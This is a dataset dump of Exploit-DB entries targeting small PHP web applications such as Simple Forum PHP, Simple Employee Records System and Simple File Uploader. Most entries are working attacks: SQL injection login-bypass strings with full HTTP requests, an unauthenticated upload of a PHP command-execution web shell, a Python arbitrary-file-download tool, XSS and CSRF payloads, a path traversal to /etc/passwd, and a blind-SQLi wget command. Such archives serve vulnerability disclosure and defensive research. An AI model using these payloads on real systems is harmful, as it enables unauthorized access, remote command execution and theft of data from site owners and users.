deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31142
Description: Simple E-document 1.31 - Authentication Bypass
Type: webapps
Platform: php
Date: 2014-01-23
Author: vinicius777

Exploit:
##########################################################################
[+] Exploit: Simple e-document v1.31 Login Bypass                        #
[+] Author: vinicius777					                 #
[+] Contact: vinicius777 [AT] gmail @vinicius777sec                      #	
[+] version: Simple e-document v1.31			                 #
[+] Vendor Homepage: http://sourceforge.net/projects/simplee-doc/files/	 #
##########################################################################
  
 
[1] Sql Injection on username field

PoC: username=-4731' OR (2708=2708)#

# Burp output

POST /simple_e_document_v_1_31/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/simple_e_document_v_1_31/index.php
Cookie: username=-4731%27+OR+%282708%3D2708%29%23; access=3; __atuvc=3%7C3; res_session=5mYRbQ67qPN3Zx%2FH%2FPKLDcSgbu3FmjzVAfezt0G0Hapsi7GRhIzlauDhsVpWaAeOu8MAa2wkiyHTT%2BGemuchDNMd1kQYMKbXSp6MFx8BS6A05M%2FIxw0vP2XGGDE5iSzrDERGO6QQa4pOXRjpMD4aYL8%2BQPCj98JZrngcZnhoEFWekObo5EWdnnuhg8zpmWL26dMuzY9uPu%2BO60BwSiVU0CCrFKxc5lMkSH%2BE9%2FwxI4XQpVE%2Bb9X4StmPGMMiZ1it0mJcChZdz4Mku1WJcOrzLVN0RYZYIvARwBiMXdGf%2Bvpw%2F0MHPP09fBv0PRgNI4XAI9apbQ7RLlxK6LneiNaR0epLS1YQiRpucBxtI0AiKofvOK5THZM6KSenIxsqUsrSxtff6eic0prlZb%2Fvl%2B3unAIgFdcAREUhQZ6lytABxA3CRMuZUmb2lyU7cWb%2FnyhQ9BtCXtfSTrdJze6JIFxsFg%3D%3D; __utma=11[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]863798.1; __utmz=11[PII_REDACTED]863798.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; ws_session=cbm4nhtn24jn9mhfvbjimjjl55; PHPSESSID=unqjr3tdi0tbgl3if801atjhl7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

username=-4731%27+OR+%282708%3D2708%29%23&password=&op=login&Submit=Login


Vulnerable Code:
[+] login.php

$username= stripslashes($_POST['username']);
$[CREDENTIAL_REDACTED]($_POST['password']);
$r_password = md5($password);
$sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";



#
#
# Greetz to g0tm1lk and TheColonial.
Exploit-DB #49596
Description: Simple Employee Records System 1.0 - File Upload RCE (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-02-26
Author: sml

Exploit:
# Exploit Title: Simple Employee Records System 1.0 - File Upload RCE (Unauthenticated)
# Date: 2021-02-25
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://www.sourcecodester.com/php/11393/employee-records-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employee_records_system.zip
# Version: v1.0
# Tested on: Ubuntu 20.04.2

uploadID.php can be used to upload .php files to 
'/uploads/employees_ids/' without authentication.

POC
---

1) Make the following Request changing the "Host:" to your Victim IP.

POST /dashboard/uploadID.php HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 
Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; 
boundary=--------------------------[PII_REDACTED][PII_REDACTED]70787337
Content-Length: 267
DNT: 1
Connection: close

----------------------------[PII_REDACTED][PII_REDACTED]70787337
Content-Disposition: form-data; name="employee_ID"; filename="cmd2.php"
Content-Type: image/png
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
----------------------------[PII_REDACTED][PII_REDACTED]70787337--


2) You will get the response with the name of the uploaded file 
(upload_filename).

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 25 Feb 2021 19:17:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 77
{"upload_filename":"Ag1rzKFWTlnCZhL_cmd2.php","selected_filename":"cmd2.php"}

3) Your file will be located in: 
http://VICTIM_IP/uploads/employees_ids/Ag1rzKFWTlnCZhL_cmd2.php

4) In this example, to run commands:
http://192.168.1.117/uploads/employees_ids/Ag1rzKFWTlnCZhL_cmd2.php?cmd=whoami
Exploit-DB #26246
Description: Simple File Manager 024 - Authentication Bypass
Type: webapps
Platform: php
Date: 2013-06-17
Author: Chako

Exploit:
# Exploit Title: Simple File Manager v.024 Login Bypass Vulnerability
# Date Published: 2013/6/17
# Exploit Author: Chako
# Software Link: http://onedotoh.sourceforge.net/
# Version: v.024 (Doesn't work on v.025)


Description:
=====================
A vulnerability has been identified in Simple File Manager v.024, which could be exploited 
by attackers to bypass security restrictions into admin panel.


Exploit:
=====================
An attacker can exploit this issue using a browser.


http://www.target_example.com/fm.php?u=[UserName]
Exploit-DB #41943
Description: Simple File Uploader - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-04-27
Author: Daniel Godoy

Exploit:
# Exploit Title: Simple File Uploader - Arbitrary File Download 
# Date: 27/04/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/simple-file-uploader-explorer-and-manager-php-based-secured-file-manager/18393053
# Tested on: GNU/Linux
# GREETZ: Rodrigo Mouriño, Rodrigo Avila, #RemoteExecution Team




POC

#!/usr/bin/env python
#https://pastebin.com/HeT7RuRU
import os,re,requests,time,base64
os.system('clear') 

BLUE = '\033[94m'
RED = '\033[91m'
GREEN = '\033[32m'
CYAN = "\033[96m"
WHITE = "\033[97m"
YELLOW = "\033[93m"
MAGENTA = "\033[95m"
GREY = "\033[90m"
DEFAULT = "\033[0m"

def banner():
	print WHITE+""
	print "                                              ##          ## "
	print "                                                ##      ##    "     
	print "                                              ############## "
	print "                                            ####  ######  #### "
	print "                                          ###################### "
	print "                                          ##  ##############  ##     "
	print "                                          ##  ##          ##  ## "
	print "                                                ####  ####"
	print ""

def details():
	print WHITE+"                              =[" + YELLOW + "Simple File Uploader Download Tool v1.0.0 "
	print ""

def core_commands():
	os.system('clear')
	print WHITE+'''Core Commands\n===============\n
Command\t\t\tDescription\n-------\t\t\t-----------\n
?\t\t\tHelp menu
quit\t\t\tExit the console
info\t\t\tDisplay information
download\t\t\tExploit Vulnerability

	'''

def about():
	os.system('clear')
	print WHITE+'''Simple File Uploader Download Tool v1.0.0 \n===============\n
Author\t\t\tDescription\n-------\t\t\t-----------\n
Daniel Godoy\t\thttps://www.exploit-db.com/author/?a=3146
	'''

def download():
	other = 'a'
	while other != 'n':
			urltarget = str(raw_input(WHITE+'Target: '))
			filename =  str(raw_input(WHITE+'FileName: '))
			filename =  base64.b64encode(filename)
			print RED+"[x]Sending Attack: "+WHITE+urltarget+'download.php?id='+filename
			final = urltarget+'download.php?id='+filename
			r = requests.get(final)
			print r.text
			other = str(raw_input(WHITE+'Test other file? y/n: '))
			if other == "n":
				print "Type quit to exit. Bye!"



banner()
details()

option='0'
while option != 0:
	option = (raw_input(RED+"pwn" + WHITE +" > "))
	if option == "quit":
		os.system('clear')
		option = 0
	elif option == "?":
		core_commands()
	elif option == "help":
		core_commands()
	elif option == "about":
		about()
	elif option == "download":
		download()
	elif option == "info":
		about()
	else:
		print "Not a valid option! Need help? Press ? to display core commands " +GREEN
Exploit-DB #49740
Description: Simple Food Website 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-04-05
Author: Viren Saroha

Exploit:
# Exploit Title: Simple Food Website 1.0 - Authentication Bypass
# Date: 2021-04-03
# Exploit Author: Viren Saroha (illusion)
# Vendor Homepage: https://www.sourcecodester.com/php/12510/simple-food-website-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12510&title=Simple+Food+Website+%28CMS%29+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

POC

Step 1 -  Go to url http://localhost/food/admin/login.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step 4 – Change the username to ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.


REQUEST


POST /food/admin/process_login.php HTTP/1.1
Host: 192.168.132.128
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.132.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.132.128/food/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=44189551c332ee92a95246aac0756dd3
Connection: close

username=%27+or+%271%27%3D%271%27%23&[CREDENTIAL_REDACTED]+In=Sign+In
Exploit-DB #4989
Description: Simple Forum 3.2 - File Disclosure / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-26
Author: tomplixsee

Exploit:
           ########################################################
           #                                                      #
           # SIMPLE FORUM v 3.2 MULTIPLE VULNERABILITIES          #
           # author      : tomplixsee                             #  
           # my email    : tomplixsee@yahoo.co.id                 #
           #                                                      #	       
           # software    : SIMPLE FORUM v3.2                      #
           # download    : http://www.gerd-tentler.de/tools/forum/#
           #                                                      #
           ########################################################


1.XSS 
  vulnerable code on forum.php
  
  <?
  .....
  if(isset($_REQUEST['date_show'])) $date_show = $_REQUEST['date_show'];
  .....
  if(isset($_REQUEST['open'])) $open = $_REQUEST['open'];
  .....
  <input type="hidden" name="date_show" value="<? echo $date_show; ?>">
  <input type="hidden" name="open" value="<? echo $open; ?>">
  .....
example:
  http://target/path/forum.php?open="/><script>alert(document.cookie)</script>
  http://target/path/forum.php?date_show="/><script>alert(document.cookie)</script>


2.Remote File Disclosure
  vulnerable code on thumbnail.php
  
  <?
  ....
  if(isset($_REQUEST['file'])) $file = $_REQUEST['file'];
  if(isset($_REQUEST['type'])) $type = $_REQUEST['type'];
  ....
  switch($type) {
      case 1:
        if($img && function_exists('ImageGIF')) {
          header('Content-type: image/gif');
          @ImageGIF($img);
        }
        else if($img && function_exists('ImagePNG')) {
          header('Content-type: image/png');
          @ImagePNG($img);
        }
        else {
          header('Content-type: image/gif');
          readfile($file);
        }
      break;

      case 2:
        header('Content-type: image/jpeg');
        if($img && function_exists('ImageJPEG')) @ImageJPEG($img);
        else readfile($file);
      break;

      case 3:
        header('Content-type: image/png');
        if($img && function_exists('ImagePNG')) @ImagePNG($img);
        else readfile($file);
      break;
              }
  ....
  ?>

example:
 http://target/path/thumbnail.php?type=3&file=../../../../../../../etc/passwd
 then try to view the page source :D



salam tuk:
ira, sukabirus network community, akillers 179,bidulux,sibalbal,crutz_ao,  

# milw0rm.com [2008-01-26]
Exploit-DB #37408
Description: Simple Forum PHP - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-06-14
Author: Vulnerability Research Laboratory

Exploit:
source: https://www.securityfocus.com/bid/54024/info

Simple Forum PHP is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Simple Forum PHP 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/cms/forum.php?p=-1 [SQL-INJECTION]--
http://www.example.com/cms/forum.php?orderType=-1 [SQL-INJECTION]--
http://www.example.com/cms/forum.php?orderType=[ASC/DESC]&orderBy=-1 [SQL-INJECTION]--
http://www.example.com/cms/forum/admin.php?act=topics&orderType=-1 [SQL-INJECTION]--
http://www.example.com/cms/forum/admin.php?act=topics&orderType=[ASC/DESC]&search=&orderBy=-1 [SQL-INJECTION]--
http://www.example.com/cms/forum/admin.php?act=replies&topic_id=&orderType=-1 [SQL-INJECTION]--
http://www.example.com/cms/forum/admin.php?act=replies&topic_id=&orderType=[ASC/DESC]&search=&orderBy=-1 [SQL-INJECTION]--
Exploit-DB #14737
Description: Simple Forum PHP - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-25
Author: arnab_s

Exploit:
# Exploit Title: Simple Forum PHP (XSS/HTML Injection Vulnerabilities)
# Date: August 25, 2010
# Author: arnab_s
# Software Link: http://www.simpleforumphp.com/forum/admin.php?act=topic_options
# Price: $24.99

found bug on:

http://server/demo_guestbook.php?act=new

details:

you can insert html/javascript codes. works if Approval option on
http://www.simpleforumphp.com/demo_forum.php act=topic_options were
not checked.
Exploit-DB #40532
Description: Simple Forum PHP 2.4 - Cross-Site Request Forgery (Edit Options)
Type: webapps
Platform: php
Date: 2016-10-14
Author: Ehsan Hosseini

Exploit:
<!--
=====================================================
# Simple Forum PHP 2.4 - Cross-Site Request Forgery (Edit Options)
=====================================================
# Vendor Homepage: http://simpleforumphp.com
# Date: 14 Oct 2016
# Demo Link : http://simpleforumphp.com/forum/admin.php
# Version : 2.4
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# Exploit:
-->
<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://localhost/blog/admin.php" method="POST">
      <input type="hidden" name="act" value="addPost" />
	  <input type="hidden" name="act" value="updateOptionsAdmin" />
	  <input type="hidden" name="email" value="attacker@mail.com" />
	  <input type="hidden" name="captcha" value="nocap" /> <!--Set No
Captcha(unsecured)-->
	  <input type="hidden" name="captcha_theme" value="White theme" />
	  <input type="hidden" name="items_link"
value="http://localhost/demo_forum.php" />
	  <input type="hidden" name="time_zone" value="" />
      <input type="submit" value="Submit request" />
	  </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>
<!--
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
-->
Exploit-DB #40531
Description: Simple Forum PHP 2.4 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-14
Author: Ehsan Hosseini

Exploit:
=====================================================
# Simple Forum PHP 2.4 - SQL Injection
=====================================================
# Vendor Homepage: http://simpleforumphp.com
# Date: 14 Oct 2016
# Demo Link : http://simpleforumphp.com/forum/admin.php
# Version : 2.4
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# PoC:
Vulnerable Url:
http://localhost/forum/admin.php?act=replies&topic_id=[payload]
http://localhost/forum/admin.php?act=editTopic&id=[payload]
Vulnerable parameter : topic_id , id
Mehod : GET

A simple inject :
Payload : '+order+by+100--+
http://simpleblogphp.com/blog/admin.php?act=editPost&id=1'+order+by+999--+

In response can see result :
Could not execute MySQL query: SELECT * FROM demo_forum_topics WHERE
id='' order by 100-- ' . Error: Unknown column '100' in 'order clause'

Result of payload: Error: Unknown column '100' in 'order clause'
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
Exploit-DB #18004
Description: Simple Free PHP Forum Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-20
Author: Skraps

Exploit:
# Exploit Title: Simple Free PHP Forum Script <= 1 SQL Injection Vulnerability
# Date: 2011-10-19
# Author: Skraps, Jackie Craig Sparks(jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://www.phpforumscript.com/?page_id=11
# Version: 1 (tested)

This script is riddled of unsanitized REQUEST variables that allows multiple SQL injections.

--------------
     PoC
--------------
http://127.0.0.1/forum/index.php?show=cat&id=1' AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0) AND id='1

wget "http://127.0.0.1/forum/index.php?show=cat&id=1' AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0) AND id='1"

--------------
Vurnerable Code
--------------
Line 150 of discussion.php:
 case 'cat':
                $get_id=$_REQUEST["id"];
                $page->Set("cat_id",$get_id);
                $query="SELECT * FROM discussion_category WHERE id='$get_id' LIMIT 1";
Exploit-DB #48879
Description: Simple Grocery Store Sales And Inventory System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-15
Author: Saurav Shukla

Exploit:
# Exploit Title: Simple Grocery Store Sales And Inventory System 1.0 - Authentication Bypass
# Date: 24/09/2020
# Exploit Author: Saurav Shukla & Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14461/simple-grocery-store-sales-and-inventory-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sales-inventory-system-using-php.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


Step 1: Open the URL http://localhost/sales_inventory/login.php

Step 2: use payload jyot' or 1=1# in user and password field

Malicious Request:::


POST /sales_inventory/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Origin: http://localhost
Connection: close
Referer: http://localhost/sales_inventory/login.php
Cookie: PHPSESSID=hdk9npcmq341ulcsn8cj6oefov

username=jyot'+or+1%3d1%23&password=jyot'+or+1%3D1%23
Exploit-DB #36665
Description: Simple Groupware 0.742 - 'export' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-07
Author: Infoserve Security Team

Exploit:
source: https://www.securityfocus.com/bid/51882/info

Simple Groupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Simple Groupware 0.742 is vulnerable; other versions may also be affected. 

http://www.example.com/SimpleGroupware_0.742/bin/index.php?export=<ScRiPt >alert(&#039;xss&#039;)</ScRiPt>
Exploit-DB #24954
Description: Simple HRM System 2.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-12
Author: Doraemon

Exploit:
# Exploit Title: Multiple Vulnerabilities in Simple HRM system v2.3 and
below
# Date: 12/04/2013
# Exploit Author: Doraemon
# Vendor Homepage: http://www.simplehrm.com/
# Software Link: http://sourceforge.net/projects/simplehrm/
# Version: 2.2/2.3
# Tested on: 2.2 & 2.3
# CVE : CVE-2013-2498, CVE-2013-2499

Date Discovered: 07 March 2013

Vendor notified: 12 march 2013 (No response from vendor after 1 month)

Advisory posted: 12 April 2013

*
*

*CVE-2013-2498*

Simple HRM system is vulnerable to sqli attacks in their login page

An attacker can perform blind sql injection through the login form and
obtain information such as password hash.

*Attack URL:* http://localhost/simplehrm/index.php/user/setLogin
*Method:* POST
*Vuln Parameter: *username=*(SQL INJECTION)*&[CREDENTIAL_REDACTED]
*Vuln Type*: unsanitised input argument *($name)* in
*Vuln **File:* simlehrm/flexycms/modules/user/user_manager.php
*Line:* 84
$res_company = getsingleindexrow('CALL
get_search_sql("'.TABLE_PREFIX.'company","email_id = \''.$name.'\' AND
isactive = 1 LIMIT 1")');

*CVE-2013-2499*

We discovered that if an attacker were to grab hold of the user's password
hash, the attacker can easily spoof a cookie and impersonate as anyone to
access the system. Together with the blind sql injection stated above, an
attacker can simply blind the password hash, userid, username and recreate
a cookie.

*Vuln **File:* simlehrm/flexycms/modules/user/user_manager.php
*Line:* 215 $v_user_password =
md5($info['id_user'].$info['username'].$info['password']);

This vuln effectively defeats one of the primary purposes of password hashing.


Regards

Doraemon